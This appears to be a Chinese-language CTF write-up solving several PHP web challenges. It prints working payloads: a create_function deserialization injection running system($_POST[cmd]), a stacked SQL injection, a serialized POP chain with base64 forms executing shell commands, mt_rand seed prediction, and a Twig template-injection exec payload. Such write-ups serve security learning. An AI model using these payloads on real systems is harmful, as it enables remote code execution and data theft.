这道题有一个简单的反序列化,然后正则限制了很多函数
看了wp才知道利用的函数是create_function()函数
create_function()函数利用_create function函数的用法-CSDN博客
PHP代码 之create_function()函数-CSDN博客
class Noteasy{
protected $param1= "create_function";
protected $param2="};system(\$_POST[cmd]);//";}
$a= new Noteasy();
echo base64_encode(serialize($a));
看目录
看flag
源码
分析一下,首先是过滤了一些关键字,给出了sql查询语句为单引号闭合;然后是mysqli_multi_query()函数可以处理多条语句,那么可以使用堆叠注入;最后检测查询结果第二位是否为变量uname的值,如果是则返回flag
?uname=-1' union select 1,2,3;#
知道了回显位之后,就可以进行注入,但是这道题限制了太多,就可以直接插入一个uname=1
然后再进行查询就可以得到flag
?uname=-1' union select 1,2,3;insert into ccctttfff value(1,1,1);#
得到了flag
第一次做这种题,和二次注入感觉有点类似,但是又不一样
反序列化,考察pop链的构造
class NSS
{
public $cmd;
function __invoke()
{
echo "Congratulations!!!You have learned to construct a POP chain
";
system($this->cmd);
}
function __wakeup()
{
echo "W4keup!!!
";
$this->cmd = "echo Welcome to NSSCTF";
}
}
在NSS类里看到了system函数,知道这是pop链的终端,调用的__invoke()函数
__invoke()魔术方法 : 将对象当作函数来使用时执行此方法
class C
{
public $whoami;
function __get($argv)
{
echo "what do you want?";
$want = $this->whoami;
return $want();
}
}
继续向上找,就是在C
类的return $want();
中,在这里want
被当做函数处理,触发方式便是__get()
魔术方法
__get() :获得一个类的成员变量时调用,用于从不可访问的成员获取值的时候触发
class T
{
public $sth;
function __toString()
{
echo "Now you know how to use __toString
There is more than one way to trigger";
return $this->sth->var;
}
}
向上找,在T类中的return $this->sth->var;这里希望返回sth类中的var属性,但是不存在,所以可以通过该语句触发__get()魔术方法,但是前提是先触发__toString()魔术方法
__toString(): 当一个对象被当作字符串使用时触发
class F
{
public $user = "nss";
public $passwd = "ctf";
public $notes;
function __construct($user, $passwd)
{
$this->user = $user;
$this->passwd = $passwd;
}
function __destruct()
{
if ($this->user === "SWPU" && $this->passwd === "NSS") {
echo "Now you know how to use __construct
";
echo "your notes".$this->notes;
}else{
die("N0!");
}
}
}
最后便是在F类中的__destruct()魔术方法的echo语句,将notes作为字符串处理,这便是pop链的触发点,因为__desrtuct()会自动触发
__destruct() :对象被销毁时触发
最后还要注意有一个__wakeup()函数需要绕过
pop链
F::__desrtuct()->T::__toString()->C::__get()->NSS::__invoke()
修改一下数量
O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:4:"ls /";}}}}
O:1:"F":4:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:4:"ls /";}}}}
进行base64编码
?ser=TzoxOiJGIjo0OntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6NDoibHMgLyI7fX19fQ==
cat /flag
O:1:"F":4:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:9:"cat /flag";}}}}
得到flag
?ser=TzoxOiJGIjo0OntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6OToiY2F0IC9mbGFnIjt9fX19==
题目提示是你能猜到验证码吗?
进去之后发现hint的数字一直在变
当手机号和验证码都是1的时候,发现没在变了
结合mt_srand和mt_rand函数 当设置的种子确定(此处的种子时输入的手机号)时,每次的mt_rand都是固定的 我们可以猜测hint就是mt_rand的第一次,而目的验证码就是mt_rand的第二次
我们写代码 弄出第二次的mt_rand
mt_srand(123);
echo mt_rand()."\n"; //895547922
echo mt_rand()."\n"; //2141438069
输入第二次的验证码,得到了flag
PHP mt_srand() 函数 | 菜鸟教程
PHP mt_rand() 函数 | 菜鸟教程
在hint页面的代码
输入{{7*7}}得到的49,知道了是模板注入
{{7*'7'}}会在 Twig 中返回49,而在 Jinja2 中则是7777777
输入了之后发现是twig模板
注入发现被限制了
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls /")}}
应该是要user传参了
看目录显示不全
得到flag